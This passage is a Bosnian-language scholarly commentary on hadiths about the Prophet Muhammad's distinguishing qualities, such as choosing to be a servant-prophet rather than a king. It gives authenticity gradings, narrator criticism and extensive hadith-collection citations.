7) Hadis o dolasku Džibrila u ljudskom obliku sa objavom, tačnije hadis o islamu, imanu i ihsanu. Hadis glasi u inačici koju bilježi Muslim u Sahihu od Omera ibn Hattaba, r.a: Izvjesnog dana dok smo sjedili kod Allahovog Poslanika, s.a.v.s., pojavi se pred nama neki čovjek jako bijele odjeće i jako crne kose. Na njemu se nisu vidjeli tragovi putovanja, a niko od nas ga nije poznavao. Sjeo je pored Allahovog Poslanika, sallallahu alejhi ve sellem, prislonio svoja koljena uz njegova koljena, svoje ruke na njegova stegna i upitao: “Muhammede, obavijesti me o islamu?” Božiji poslanik, s.a.v.s., je odgovorio: “Islam je da svjedočiš da nema božanstva osim Allaha i da je Muhammed Allahov poslanik, s.a.v.s, da obavljaš namaz, daješ zekat, postiš ramazan i hadž džobaviš, ako budeš u mogućnosti. Reče čovjek: “Istinu si kazao”. Reče Omer: “Začudili smo mu se – pita ga i potvrđuje da istinu zbori.” Onda je upitao: “Obavijesti me o imanu?” Poslanik, s.a.v.s., je odgovorio: Da vjeruješ u Allaha, Njegove meleke, Njegove knjige, Njegove poslanike, Sudnji dan i da vjeruješ u određenje (kader) i dobar i zla. Onda je rekao: Istinu si kazao, pa obavijesti me o ihsanu?” Poslanik, s.a.v.s., je odgovorio: “Da obožavaš Allaha kao da Ga vidiš, jer iako ti Njega ne vidiš, On tebe, zasigurno, vidi.” Onda je upitao: “Obavijesti me o Sudnjem času?” Poslanik, s.a.v.s., odgovorio: Upitani o tome ne zna više od pitaoca.” Onda je upitao: “Obavijesti me njegovim predznacima?” Poslanik, s.a.v.s., je odgovorio: “Da robinja rodi svoju gospodaricu i da vidiš bose, gole i siromašne čobane kako se nadmeću u gradnji.” Potom je taj čovjek otišao, a ja sam ostao neko vrijeme. Onda me je Poslanik, s.a.v.s., upitao: “Omere, znaš li ko je pitalac?” Ja odgovorih: “Allah i Njegov poslanik najbolje znaju.” Onda je Poslanik, s.a.v.s., kazao: “To je Džibril, došao vam je da vas poduči vašoj vjeri.” Hadis je vjerodostojan (sahih). Prenose ga sljedeći ashabi: Ebu Hurejre, Enes ibn Malik, Abdullah ibn Omer, Abdullah ibn Abbas, Omer ibn Hattab, Ebu Zerrl. Bilježe ga sljedeći muhaddisi: Ebu Hanife u Musnedu po rivajetu Ebu Nuajma Asbahanija (Ebu Hanife, El-Musned, www.alsunnah.com, br. 200); Ebu Davud Tajalisi u Musnedu (br. 21); Ishak ibn Rahevejh u Musnedu (br. 165-167); Ahmed u Musnedu (br. 111, 367, 368, 374, 375, 2924, 9501, 17167, 17502); Buhari u Sahihu (br. 50, 4777); Muslim u Sahihu (br. 106-108); Ibn Madždže u Sunenu (br. 63, 64); Ebu Davud u Sunenu (br. 4695); Tirmizi u Sunenu (br. 2610); Ibn Ebu Asim u Kitab es-sunne (120-127, 172); Bezzar u Musnedu (br. 4025, 4832, 6951); Hadždžadž Mervezi u Ta'zim kadr es-sala (br. 363-382, 645,795); Firjabi u Kaderu (br. 210-213); Nesai u Sunenu (br. 4990, 4991), Es-Sunen el-kubra (br. 5852); Ebu Ja'la u Musnedu (br. 242); Ruvejani u Musnedu (br. 1425); Ebu Bekr Hallal u Sunnetu (br. 1676); Ibn Huzejme u Sahihu (br. 2244, 2504); Ebu Avane u Mustahredžu (br. 6470); Tahavi u Šerh muškil asar (br. 2985,); E'arabi u Mu'džemu (br. 2353); Ibn Hibban u Sahihu (br. 168, 173); Adžurri u Šerijatu (br. 205-208, 378-380); Taberani u El-Mu'džem el-kebir (br. 13615), El-Mu'džem el-evsat (br. 5191); Ibn Betta u El-Ibane el-kubra (dio 1, br. 827-832); Ibn Mende u Imanu (br. 1-16, 157-160, 185, 186); Lalikai u Šerhu (br. 331, 332); Ebu Nuajm u Musnedu (br. 74-86), Hilje el¬-evlija’ (sv. 8, str. 202); Bejheki u Es-Sunen el-kubra (br. 8610, 20871, 20872), Delail en-nubuvve (br. 3000), El-Ba's ve en-nušur (br. 161), El-Kada’ ve el-kader (br. 179-188, 463), Šu'b el-iman (br. 177); Begavi u Eš-Šerh es-sunne (br. 2) i dr.
8) Hadis o Miradžu. Hadis je vjerodostojan (sahih). Verzije ovog hadisa koje spominju plač Musaa, a.s., i Sidretu-l-Munteha su obrađene u bilješci br. 42, odnosno bilješci br. 49. Preostale verzije prenose sljedeći ashabi: Ebu Hurejre, Enes ibn Malik, Abdullah ibn Abbas, Abdullah ibn Mesud, Ebu Seid Hudri, Ebu Bekr, Malik ibn Sa'sa’, Huzejfe ibn Jeman. Bilježe ih sljedeći muhaddisi: Ebu Davud Tajalisi u Musnedu (br. 411); Ibn Ebu Šejbe u Musannefu (31698, 31699, 36573); Humejdi u Musnedu (br. 453); Ahmed u Fedail es-sahabe (br. 864); Ahmed u Musnedu (br. 13340, 13739, 23285, 23332, 23333, 23343); Abd ibn Humejd u Musnedu (br. 1183); Buhari u Sahihu (br. 3570, 4964); Muslim u Sahihu (br. 429, 433, 434); Ebu Davud u Sunenu (br. 4748, 4878); Tirmizi u Sunenu (br. 2053, 3147, 3157); Haris u Musnedu (br. 22, 23, 25, 550); Ibn Ebu Asim u El-Ahad ve el-mesani (br. 1964); Bezzar u Musnedu (br. 1568, 2915, 3892, 6964); Nesai u Es-Sunen el-kubra (br. 309, 310); Ebu Ja'la u Musnedu (br. 2914, 3447, 3616, 5036, 6607); Serradž u Hadisu (br. 2589, 2590, 2593, 2676, 2677, 2679, 2681); Ebu Avane u Mustahredžu (br. 343, 356); Haraiti u Mesavi’ el-ahlak (br. 187); Adžurri u Šerijatu (br. 1025); Taberani u El-Mu'džem el-kebir (br. 2726, 14473, 16269, 18673, 18674), El-Mu'džem el-evsat (br. 8, 2092, 3089, 3879, 8223), Musned Eš-Šamijjin (br. 34, 932, 2178); Taberi u Tehzib el-asar (br. 2761, 2762, 2764-2767, 2771, 2811); Ibn Betta u El-Ibane el-kubra (dio 4, br. 147); Ebu Tahir Muhallis u Muhallisijjatima (br. 334); Ibn Mende u Imanu (br. 707, 708, 711-714, 718); Hakim u Mustedreku (br. 3369, 6661); Ebu Nuajm u Hilje el-evlija’ (sv. 4, str. 234-235, sv. 6, str. 249, sv. 10, str. 385-386), Hulefa’ er-rašidin (br. 14); Bejheki u Delail en-nubuvve (br. 657, 671, 672, 677), Adabu (br. 118), El-Ba's ve en-nušur (br. 115, 118), Šu'b el-iman (br. 6290, 6326) i dr.
27. I 28. VID
27. Među njima jeste da je Muhammedova, s.a.v.s., knjiga obuhvatila ono što je obuhvatao Tevrat, Indžil i Zebur, a odlikovan je i kratkim surama (el-mufessal).67
28. Među njima jeste da će njegov ummet imati najmanje dijela u odnosu na one prije njih, a najveću nagradu, kao što je došlo u vjerodostojnom (sahih) hadisu.68
OBRADA I KOMENTAR:
67 Upućuje na izvjetan hadis Božijeg poslanika, s.a.v.s. Taj hadis u jednoj svojoj verziji, koju bilježi Ahmed u Musnedu od Vasile ibn Eska’, r.a., glasi: Dato mi je sedam dugih sura (et-tival) umjesto Tevrata, date su mi sure od stotinu ajeta (el-miun) umjesto Zebura, date su mi ponavljajuće sure (el-mesani) umjesto Indžila, a odlikovan sam sa kratkim surama (el-mufessal). Hadis je vjerodostojan (sahih): Prenose ga sljedeći ashabi: Ebu Umame Sadijj ibn Adžlan Bahili, Vasila ibn Eska’. Spominju ga u nekoj od njegovih verzija sljedeći muhaddisi: Ebu Davud Tajalisi u Musnedu (br. 1105); Ahmed u Musnedu (br. 16982); Tahavi u Šerh muškil el-asar (br. 1379); Taberani u El-Mu'džem el-kebir (br. 8019, 18037, 18038), Musned Eš-Šamijjin (br. 2734); Bejheki u Es-Sunen es-sagir (br. 962), Delail en-nubuvve (br. 2220), Šu'b el-iman (br. 2192, 2255, 2556) i dr.
68 Upućuje na hadis Božijeg poslanika, s.a.v.s. koji u jednoj svojoj verziji, koju bilježi Buhari u Sahihu od Musaa Ešarija, r.a: Primjer muslimana, jevreja i hrišćana sliči čovjeku koji unajmi ljude da mu odrade neki posao u toku dana do noći za određenu nadoknadu. Onda oni rade do pola dana, pa kažu: “Nemamo potrebe za nadoknadom koju si nam odredio, a ono što smo odradili je ništavno (batil).” Zatim im čovjek kaže: “Ne činite to! Dovršite ostatak posla i uzmite cijelu vašu nadoknadu.” Oni to odbiju i napuste posao. Onda čovjek unajmi dva najamnika nakon njih, te im kaže:”Upotpunite ostatak ovog dana. Pripast će vam nadoknada koju sam njima odredio.” Potom oni rade sve dok ne bude vrijeme ikindije-namaza.” Ono što smo ti odradili je ništavno (batil). Tebi pripada nadoknada koju si nam odredio za posao”, rekoše oni. Potom će im on reći: “Dovršite ostatak posla, do kraja dana je ostalo malo.” Oni odbiju, pa čovjek unajmi ljude da mu odrade ostatak dana. Ovi odrade ostatak dana sve dok sunce ne zađe, te upotpuniše nadoknade obaju grupa . Ovo je njihov primjer i primjer onih koji nisu primili ovo Svjetlo (Nur, tj. svjetlo Božije upute). Hadis je vjerodostojan (sahih): Prenose ga Ebu Musa Ešari, r.a., i Abdullah ibn Omer, r.a. Zabilježili su ga sljedeći pisci hadiskih zbirki u njegovim verzijama: Ma'mer ibn Rašid u Džami’ (br. 20565, 20911); Ebu Davud Tajalisi u Musnedu (br. 1929); Malik u Muvetti po rivajetu Muhammeda ibn Hasana Šejbanija (br. 1008); Ismail ibn Džafer u Hadisu (br. 29); Ahmed u Musnedu (br. 4508); Abd ibn Humed u Musnedu (br. 771); Buhari u Sahihu (br. 558, 2268, 2269, 2271, 3459); Tirmizi u Sunenu (br. 2871); Bezzar u Musnedu (br. 5819, 5820); Ebu Ja'la u Musnedu (br. 5838, 7312); Ibn Hibban u Sahihu (br. 6639, 7217, 7218); Taberani u El-Mu'džem el-evsat (br. 1618), Musned Eš-Šamijjin (br. 2955); Bejheki u Es-Sunen el-kubra (br. 11644, 11646); Begavi u Šerh es-sunne (br. 4017, 4018) i dr.
29. VID
29. Među njima jeste da mu je Allah, Silni i Uzvišeni, pokazao ključeve zemaljskih riznica i ponudio mu izbor da bude ili kralj ili vjerovjesnik-rob. On je zatražio savjet od Džibrila, a.s., koji ga je nasavjetovao da bude ponizan. Stoga Mu je odgovorio: Vjerovjesnik-rob. Gladovat ću jedan dan, bit ću sit jedan dan, pa ako budem gladan, molit ću Allaha, a ako budem sit, zahvaljivat ću Allahu.69 Muhammed, s.a.v.s., je htio da bude zaoukupljen Allahom u razdobljima bijede i izobilja, blagodati i nedaće (belaja).
OBRADA I KOMENTAR:
69Spomenuti rijek, odnosno dvadeset deveti vid upućuje na više hadisa koji govore o dotičnoj tematici:
1) Hadis o Džibrilu, meleku i biranju Poslanika, s.a.v.s., između toga da bude kralj ili vjerovjesnik-rob. Hadis u jednoj od njegovih verzija, koju bilježi Ahmed u Musnedu od Ebu Hurejre, r.a., glasi: Džibril je sjedio kod Vjerovjesnika, s.a.v.s. kada ovaj pogleda u nebo, a odatle melek se spušta. Onda je Džibril kazao: “Zbilja je ovo melek koji, od dana kada je stvoren do ovog časa, nikada nije sišao.” Kada je melek sišao kazao je: “Muhammede, tvoj Gospodar me je poslao tebi – da te učini ili kraljem-vjerovjesnikom ili robom-poslanikom? ” Džibril je onda rekao: “Budi skroman prema svome Gospodaru, Muhammede.” On na to odgovori: “Naprotiv, robom-poslanikom.” Hadis je vjerodostojan (sahih). Prenose ga Ebu Hurejre i Abdullah ibn Abbas, među ashabima, te Muhammed ibn Šihab Zuhri i Tavus među tabiinima. Bilježe ga u nekoj od njegovih verzija: Ma'mer ibn Rašid u Džami’ (br. 19551, 19552); Abdurrezzak u Musannefu (br. 5247); Ahmed u Musnedu (br. 7160); Bezzar u Musnedu (br. 9807); Nesai u Es-Sunen el-kubra (br. 6710); Ebu Ja'la u Musnedu (br. 6105); Tahavi u Šerh muškil el-asar (br. 2092); Ibn Hibban u Sahihu (br. 6365); Taberani u El-Mu'džem el-kebir (br. 10708); Bejheki u Es-Sunen el-kubra (br. 13321, 13327), Delail en-nubuvve (br. 287), Šu'b el-iman (br. 155, 1379, 5569); Begavi u Šerh es-sunne (br. 3684) i dr.
2) Hadis o Džibrilu i biranju Poslanika, s.a.v.s., između toga da bude kralj ili vjerovjesnik-rob. Hadis glasi u kraćoj verziji koju bilježi Bejheki u Šu'b el-iman od Muhammeda ibn Utarida: Džibril pade onesvješće n kao da je. Tada saznadoh prednost njegovog strahopoštovanja nad mojim strahopoštovanje, te bih nadahut – da budem vjerovjesnik-kralj ili vjerovjesnik-rob ili da uđem u Džennet. Džibril mi dade znak, dok je ležao, da budem skroman, pa sam kazao: Ne, naprotiv, da budem vjerovjesnik-rob. Hadis je hasen (dobar). Hadis prenosi samo tabiin Muhammed ibn Utarid ibn Hadžib. Bilježe ga sljedeći muhaddisi: Bejheki u Šu'b el-iman (br. 153); Begavi u Šerh es-sunne (br. 3683) i dr.
3) Hadis o Israfilu, Džibrilu i izboru Vjerovjesnika, s.a.v.s., između toga da bude vjerovjesnik-kralj ili vjerovjesnik-rob. Hadis glasi: Sišao mi je melek sa nebesa, koji nije sišao nikome prije mene niti nikome poslije mene. Bijaše to Israfil, a.s. Rekao mi je: “Es-selamu alejkum, Muhammede. Ja sam glasnik tvoga Gospodara tebi. Naredio mi je da te obavijestim ako hoćeš da budeš vjerovjesnik-rob, a ako hoćeš da budeš vjerovjesnik-kralj. Pogledao sam u Džibrila, a on mi je dao znak da budem skroman.” Stoga je Vjerovjesnik, s.a.v.s., kazao na to:” Vjerovjesnik-rob.” Onda je Vjerovjesnik, s.a.v.s., kazao: “Da sam rekao vjerovjesnik-kralj za mnom bi krenula zlatna brda.” Hadis je dobar (hasen). Hadis bilježe Taberani El-Mu'džem el-kebir (br. 13343) i Ebu Nuajm u Hilje el-evlija’ (sv. 3, str. 256).
4) Jedna verzija hadisa o Israu i Mi'radžu u kome se spominje biranje Poslanika, s.a.v.s., između toga kralj ili vjerovjesnik-rob. Hadis glasi:…Onda sam uzdignut na sedmo nebo. Džibril je zatražio da ih otvore, pa je upitan: “Ko si ti?” Odgovorio je: “Džibril.” Upitan je: “A ko je s tobom?” Odgovorio je: Muhammed, s.a.v.s.” Upitan je: “Muhammed, s.a.v.s. je zbilja poslan?” Odgovorio je: “Jeste.” Onda mu je otvoreno, kad tu bijaše Ibrahim, a.s. koji kaza: “Dobro došao, dobri vjerovjesniče i sine dobrog! Onda sam nadahnut da izabrem – ako hoću da budem vjerovjesnik-kralj, a ako hoću da budem vjerovjesnik-rob. Kazao sam: Vjerovjesnik-rob… Hadis je dobar (hasen). Hadis prenosi Enes ibn Malik. Bilježi ga Serradž u Hadisu (br. 2681).
5) Hadis o Allahovoj ponudi Muhammedu, s.a.v.s., da mu pretvori kamenu dolinu Batha’ u Mekki u zlato. Hadis u jednoj od njegovih verzija bilježi Tirmizi u Sunenu od Ebu Umame, r.a: Moj Gospodar mi je ponudio da mi pretvori Batha’ Mekke u zlato. “Ne, moj Gospodaru, nego ću biti sit jedan dan, a gladovat ću jedan dan”, ili je rekao tri dana ili slično tome, “pa ako budem gladan, ponizno ću Ti se moliti i spominjat ću Te, a ako budem sit, zahvaljivat ću Ti i hvaliti Te. Oko vjerodostojnosti hadisa postoji razilaženje. Hadis je prema Tirmiziju dobar-hasen (Et-Tirmizi, El-Džami’ es-sahih sunen, sv. 4, str. 575, br. 2347). Slično misle i ostali muhaddisi koji bilježe ovaj hadis: Ahmed ibn Hanbel, Ebu Bekr Ruvejani, Taberani, Ebu Nuajm Asbahani, Bejheki, Begavi. (Vidi o njihovim mišljenjima i njihovim bilježenjima dole u obradi tahridža ovog hadisa). Takođe, dobrim (hasen) ga smatraju i: Mizzi (El-Mizzi, Tuhfe el-ešraf bi ma'rife el-etraf, El-Mekteb el-islamijj, Bejrut, 1983, sv. 4, str. 177, br. 4908), Zejnuddin Iraki (Zejnuddin el-Iraki,Tahridž ehadis El-Ihja’, Dar Ibn Hazm, Bejrut, 2005, sv. 1, str. 282) i dr.
Međutim, veliki broj drugih muhaddisa je direktno ili indirektno osporio vjerodostojnost ovog hadisa. Tako Ibn Hibban u djelu El-Medžruhin spominje da Ubejdullah ibn Zahr, inače jedan od prenosilaca spomenutog hadisa, prenosi dosta munker (odbačenih) hadisa, te da prenosi izmišljene (mevdu’) hadise od pouzdanih ljudi. Takođe, spominje da su najopasniji hadisi koje presnosi od Alije ibn Jezida. (Ibn Hibban, El-Medžruhin, Dar El-Va'j, Halep, 1976, sv. 2, str. 62-63, br. 608). Ovaj hadis Ubejdullah ibn Zahr prenosi upravo od gorespomenutog Alije ibn Jezida. Da ova dva prenosioca nisu pouzdana misle i: Buhari (El-Buhari, Et-Tarih el-evsat, Dar El-Va'j, Halep, 1977, sv. 1, str. 310, br. 1500; Ibid., Ed-Duafa’ es-sagir, Dar El-Va'j, Halep, 1976, sv. 1, str. 82, br. 255), Idžli (El-Idžli, Es-Sikat, Dar El-Baz, Mekka, 1984, sv. 1, str. 316, br. 1054, sv. 2, str. 109, br. 1156), Ibn Ebu Hatim (Ibn Ebu Hatim, El-Džerh ve et-ta'dil, Dar El-Ihja’ et-turas el-arebijj, Bejrut, 1952, sv. 5, str. 315, br. 1499, sv. 6, str. 208, br. 1142), Ibn Junus Misri (Ibn Junus Misri, Et-Tarih, Dar El-Kutub el-ilmijje, Bejrut, 2000, sv. 2, str. 156, br. 414), Džurdžani (El-Džurdžani, El-Kamil fi duafa’ er-ridžal, Dar El-Kutub el-ilmijje, Bejrut, 1997, sv. 5, str. 522, br. 1157, sv. 6, str. 305, br. 1338), Ibn Šahin (Ibn Šahin, Tarih esma’ ed-duafa’ ve el-kezzabin, 1989, sv. 1, str. 125, br. 381, str. 151, br. 493), Ebu Nuajm (Ebu Nuajm, Ed-Duafa’, Dar Es-Sekafe, Kazablanka, 1984, sv. 1, str. 116, br. 159), Hatib Bagdadi (El-Hatib el-Bagdadi, Telhis el-mutešabih fi er-resm, Dar Tales, Damask, 1985, sv. 1, str. 319-320), Ibnu-l-Dževzi (Ibn el-Dževzi, Ed-Duafa’ ve el-metrukin, Dar El-Kutub el-ilmijje, Bejrut, 1986, sv. 2, str. 162, br. 2238, str. 200, br. 2410), Mizzi (El-Mizzi, Tehzib el-kemal fi esma’ er-ridžal, Muessese Er-Risale, Bejrut, 1980, sv. 21, str. 178-179, br. 4154), Zehebi (Ez-Zehebi, El-Kašif fi ma'rife men lehu rivaje fi el-kutub es-sitte, Muessese Ulum el-Kur'an, Džidda, 1992, sv. 1, str. 680, br. 3544; Ibid., El-Mugni fi ed-duafa’, sv. 2, str. 415, br. 3922, str. 457, br. 4358; Ibid., Divan ed-duafa’ ve el-metrukin ve halk min el-medžhulin ve sikat fihim lejjin, Mektebe En-Nehde el-hadise, Mekke, 1967, sv. 1, str. 264, br. 2693, str. 287, br. 2977; Ibid., Mizan el-i'tidal, Dar El-Ma'rife, Bejrut, 1963, sv. 3, str. 6, br. 5359, str. 161, br. 5966), Adžemi (El-Adžemi, El-Kešf el-hasis, Mektebe En-Nehde el-arebijje, Bejrut, 1987, sv. 1, str. 178, br. 475, str. 191, br. 531) i dr.
Detaljnije o mišljenjima o vjerodostojnosti prenosilaca ovog hadisa: Alauddin Mugletaj, Ikmaltehzibel-kemalfiesma’ er-ridžal, El-Faruk el-hadise, Kairo, 2001, sv. 9, str. 17-19, br. 3437, str. 388-389, br. 3897; Ibn Hadžer el-Askelani, Tehzib Et-Tehzib, Matbe Daire el-mearif en-nizamijje, Hajderabad, 1908, sv. 7, str. 12-13, br. 25, str. 396-397, br. 642; Megani el-ahbar fi šerh esami ridžal meani el-asar, Bedruddin el-Ajni, Dar El-Kutub el-ilmijje, Bejrut, 2006, sv. 2, str. 271-272, br. 1765, str. 364, br. 1883.
Ocjenu da je hadis slab (daif) dali su, između ostalih, sljedeći muhaddisi: Muhammed ibn Muhammed Derviš (Muhammed ibn Muhammed Derviš, Esna el-metalib fi ehadis muhtelife el-meratib, sv. 1, str. 182, br. 881) i dr.
Hadis prenosi Ebu Umame Sadijj ibn Adžlan Bahili, r.a. Bilježe ga sljedeći muhaddisi: Ahmed u Musnedu (br. 22190); Tirmiz u Sunenu (br. 2347); Ruvejani u Musnedu (br. 1222); Taberani u El-Mu'džem el-kebir (br. 7835); Ebu Nuajm u El-Hilje el-evlija’ (sv. 8, str. 133); Bejheki u Šu'b el-iman (br. 1394, 9925); Begavi u Eš-Šerh es-sunne (br. 4044) i dr.
6) Hadis u kome se govori o zlatnim brdima i biranju Muhammeda, s.a.v.s, između toga da bude kralj ili vjerovjesnik-rob. Hadis glasi: Aiša, kad bih htio, uz mene bi se pokrenula zlatna brda. Došao mi je melek, da sam ga izmjerio, bio bi jednak Ka'bi, i rekao: “Tvoj Gospodar ti šalje selam i poručuje ti – ako hoćeš budi vjerovjesnik-rob, a ako hoćeš budi vjerovjesnik-kralj.” Pogledao sam u Džibrila, kazuje, a on mi dade znake: “Budi skroman”, pa rekoh: “Vjerovjesnik-rob.” Hadis je dobar (hasen). Prenosi ga Aiša, r.a. Bilježe ga u hadiskim djelima sljedeći muhaddisi: Ebu Ja'la u Musnedu (br. 4920); Begavi u Šerh es-sunne (br. 3684) i dr.
7) Hadis u kome se govori kako su Muhammedu, s.a.v.s., date zemaljske riznice. Hadis u jednoj od svojih verzija, koju prenosi Buhari od Ebu Hurejre, r.a., glasi: Poslan sam sa jezgrovitim govorom, potpomognut sam strahom, a dok sam spavao dati su mi ključevi zemaljskih riznica i stavljeni u moju ruku. Hadis je vjerodostojan (sahih). Prenose ga sljedeći ashabi: Ebu Hurejre, Džabir ibn Abdullah, Ebu Muvejhibe, Ukbe ibn Amir. Bilježe ga u njegovim verzijama sljedeći muhaddisi: Ma'mer ibn Rašid u Džami’ (br. 20033, 20034); Ismail u Hadisima (br. 141); Seid ibn Mensur u Sunenu (Seid ibn Mensur, Es-Sunen, Dar Es-Selefijje, Bobmaj, 1982, br. 2862); Ibn Ebu Šejbe u Musannefu (br. 31644); Ahmed u Musnedu (br. 7585, 7632, 9141, 9867, 10517, 14513, 15997, 17344, 17397); Darimi u Sunenu (br. 79); Buhari u Sahihu (br, 1344, 2977, 4085, 6426, 6590, 6998, 7013, 7037, 7273); Muslim u Sahihu (br. 6116); Bezzar u Musnedu (br. 7638, 8674, 9234); Nesai u Es-Sunen el-kubra (br. 4280-4282), Sunenu (br. 3087-3089); Ebu Ja'la u Musnedu (br. 1748, 6287); Ruvejani u Musnedu (br. 179, 1508); Dulabi u El-Kuna ve el-esma’ (br. 333, 334); Serradž u Hadisu (br. 290-292, 305, 1901), Musnedu (br. 491, 492, 509 ); Ebu Avane u Mustahredž (br. 1170); Tahavi u Šerh muškil el-asar (br. 4486); Ibn Hibban u Sahihu (br. 3198, 3199, 3224, 6363, 6364, 6595); Taberani u El-Mu'džem el-kebir (br. 14455, 14458), Musned Eš-Šamijjin (br. 1712, 3029); Ebu Tahir u Muhallisijjatima (br. 1806); Hakim u Mustedreku (br. 4383); Ebu Nuajm u Musnedu (br. 1154-1157), Hilje el-evlija’ (sv. 2, str. 27, sv. 7, str. 262); Bejheki u Es-Sunen el-kubra (br. 13318, 13319), Delail en-nubuve (br. 1199, 2214, 3088, 3089), Šu'b el-iman (br. 137); Begavi u Šerh es-sunne (br. 3297, 3618, 3823); Ibn Asakir u Mu'džemu (br. 61) i dr.
8) Hadis u kome se govori da je melek Israfil ponudio Muhammedu, s.a.v.s., da bude ili poslanik-rob ili poslanik-kralj, te da mu se daju ključeve zemaljskih riznica. Hadis glasi: “Džibrile, tako mi Onoga koji te je poslao sa Istinom, nije omrklo Muhammedovoj porodici pregršt braša niti šaka kaše.” Ne bijaše njegov govor brži od zvuka štropota sa neba koji ga prepade, pa upita Božiji poslanik, s.a.v.s., Džibrila: “Da li je Allah naredio da Sudnji dan nastupi?” Džibril mu odgovori: “Ne, nego je Allah naredio Israfilu, pa je ovaj sišao tebi kada je čuo tvoj govor.” Onda mu dođe Israfil i poruči mu: “Doista je Allah čuo ono što si spomenuo, pa me je poslao tebi sa ključevima zemaljskih riznica . Naredio mi je da ti ponudim ako hoćeš da pokrenem za tobom brda uradit ću, pa ako hoćeš da budeš vjerovjesnik-kralj, a ako hoćeš da budeš vjerovjesnik-rob?” Džibril mu je dao znak da bude skroman, pa je on odgovorio: “Naprotiv, vjerovjesnik-rob.” Ponovio je to tri puta.Hadis je dobar (hasen). Prenosi ga Abdullah Ibn Abbas, r.a. Bilježe ga Taberani u El-Mu'džem el-evsat (br. 6937).
30., 31. I 32. VID
30. Među njima jeste da ga je Uzvišeni Allah poslao Kao milost svjetovima70. Stoga je neposlušnicima (asijama) njegova ummeta dato vremena, a njihova kazna nije ubrzana iz samilosti prema njima.71 S druge strane, kazna za neposlušnike iz ummeta prijašnjih vjerovjesnika bi bila ubrzana kao posljedica njihovog poricanja.72
31. Glede njegove ćudi (ahlaka) u blagosti, oprostu, prelasku preko grešaka, stpljivosti, zahvalnosti, nježnosti radi Allaha; činjenici da se nikada nije naljutio radi sebe, te da je došao da upotpuni plemenite ćudi73; u tradicijom prenešenoj skrušenosti, poniznosti, posvećenosti Bogu, skromnosti u jelu, odjeći, piću i stanu; ubavom druženju, plemenitoj ćudi, lijepoj naravi, želji za imanom svoje porodice, izvršenju tereta poslanice radi pobjede Allahove vjere i uzdizanja Njegove riječi, suočavanju sa neugodnostima od njegovog naroda i drugih u domovini i stranjštini – ta u Allahovoj knjizi i knjigama odlika Poslanika, s.a.v.s. (knjigama šemaila)74, spomenut je izvjestan broj dotičnih vrlina.
32. Glede njegove blagosti, rijek Uzvišenog Allaha: Samo Allahovom milošću, ti si blag prema njima.75
OBRADA I KOMENTAR:
70 El-Enbija’, 107. Druga polovina ajeta.
71 Upućuje na prvu polovicu 33. ajeta sure El-Enfal: Allah ih nije kaznio, jer si ti među njima bio. U sličnom kontekstu možemo posmatrati i 41. ajet sure Ez-Zuhruf: Ako bismo ti dušu uzeli, njih bismo, sigurno, kaznili.
72 U Kur'anu imamo dosta primjera izvršenja Allahove kazne nad prijašnjim narodima zbog njihovog poricanja poslanice. Kao na primjer kazna za Nuhov narod: Ali, oni su ga lažnim smatrali, pa smo njega i one koji su bili uz njega u lađi spasili, a one koji u dokaze Naše nisu vjerovali – potopili; uistinu, oni su pravi slijepci bili. (El-E'araf, 64) Kazna za narod Ad, narod Huda, a.s: I Mi smo iz milosti Naše njega i one koji su bili uz njega spasili, a do posljednjeg istrijebili one koji dokaze Naše nisu priznavali i koji nisu vjerovali. (El-E'araf, 72) Kazna za Semud, narod Saliha, a.s: I zadesi ih strašan potres i oni u zemlji svojoj osvanuše mrtvi, nepomični, a on ih je već bio napustio i rekao: “O narode moj,prenio sam vam poslanicu Gospodara svoga i opominjao sam vas,ali vi ne volite one koji opominju.” (El-E'araf, 78-79) Kazna za narod Medjena i drveta Ejke, narod Šuajba, a.s: I zadesi ih potom strašan potres i oni osvanuše u zemlji svojoj mrtvi, nepomični. Oni koji su smatrali Šuajba lašcem – kao da nikada u njoj nisu ni bili; oni koji su smatrali Šuajba lašcem, oni su nastradali. (E'araf, 91-92) Treba spomenuti, između ostalih, i sljedeći Allahov općenitiji govor o kazni za narode koji su poricali: Mi nijednog vjerovjesnika u neki grad nismo poslali, a da stanovnike njegove neimaštinom i bolešću nismo kaznili da bi se pokajali. Poslije bismo kaznu blagostanjem zamijenili dok se ne bi umnožili i rekli: “I naše su pretke pogađale i žalosti i radosti!” – i tada bismo ih, da oni ne predosjete, neočekivano kaznili. A da su stanovnici sela i gradova vjerovali i grijeha se klonili, Mi bismo im blagoslove i s neba i iz zemlje slali, ali, oni su poricali, pa smo ih kažnjavali za ono što su zaradili. (El-E'araf, 94-96)
73 Upućuje na hadis koji glasi u verziji koju bilježi Bezzar u Musnedu od Ebu Hurejre, r.a: Doista sam poslan da upotpunim plemenite ćudi.Hadis je vjerodostojan (sahih). Prenose ga sljedeći ashabi: Ebu Hurejre, Džabir ibn Abdullah, Muaz ibn Džebel. Bilježe ga sljedeći muhaddisi: Haris u Musnedu (br. 890); Bezzar u Musnedu (8949); Taberani u El-Mu'džem-evsat (br. 6895), El-Mu'džem el-kebir (br. 16877), Mekarim el-ahlak (br. 119); Temam u Fevaidu (br. 276); Kadai u Musned Eš-Šihab (br. 1165); Bejheki u Es-Sunen el-kubra (br. 20782), Šu'b el-iman (br. 7611); Begavi u Šerh es-sunne (br. 3622, 3623) i dr.
74 Postoji dosta knjiga napisanih na temu šemaila, odnosno šemaili-šerifa (opisa poslanika Muhammeda, s.a.v.s.). To ne treba da čudi, budući da je Božiji poslanik Muhammed, kao najbolje stvorenje i pečat vjerovjesništva, uvijek bio izvor inspiracije, kako za muslimanske autore, tako i za one nemuslimanske. Stoga ćemo u nastavku spomenuti samo najpoznatija i najznačajnija djela iz oblasti šemaila: El-Bejheki,Delail en-nubuvve, Dar El-Kutub el-ilmijje, Bejrut, 1984/85; El-Maverdi, E'lam en-nubuvve, Dar El-Hilal, Bejrut, 1988/89; El-Kadi Abduldžebbar, Tesbit delail en-nubuvve, Dar El-Mustafa, Kairo; Ismail el-Asbahani, Delail en-nubuve, Dar Et-Tajjibe, Rijad, 1988/9; Abdulmelik el-Harakuši, Šeref El-Mustafa, Dar El-Bešair el-islamijje, Mekka, 2003; Et-Tirmizi, Šemail el-Muhammedijje, Dar Ihja’ et-turas el-arebijj, Bejrut; Ibn Mulekkin, Gaje es-sul fi hasais er-resul, Dar El-Bešair el-islamijje, Bejrut; Es-Sujuti, Hasais el-kubra, Dar El-Kutub el-ilmijje, Bejrut; Ibn Hadžer el-Hejsemi, Ešref el-vesail ila fehm eš-šemail, Dar El-Kutub el-ilmijje, Bejrut, 1998; El-Mulla el-Kari, Džem’ el-vesail fi šerh eš-šemail, Matbea Mustafa el-Babi el-Halebi; 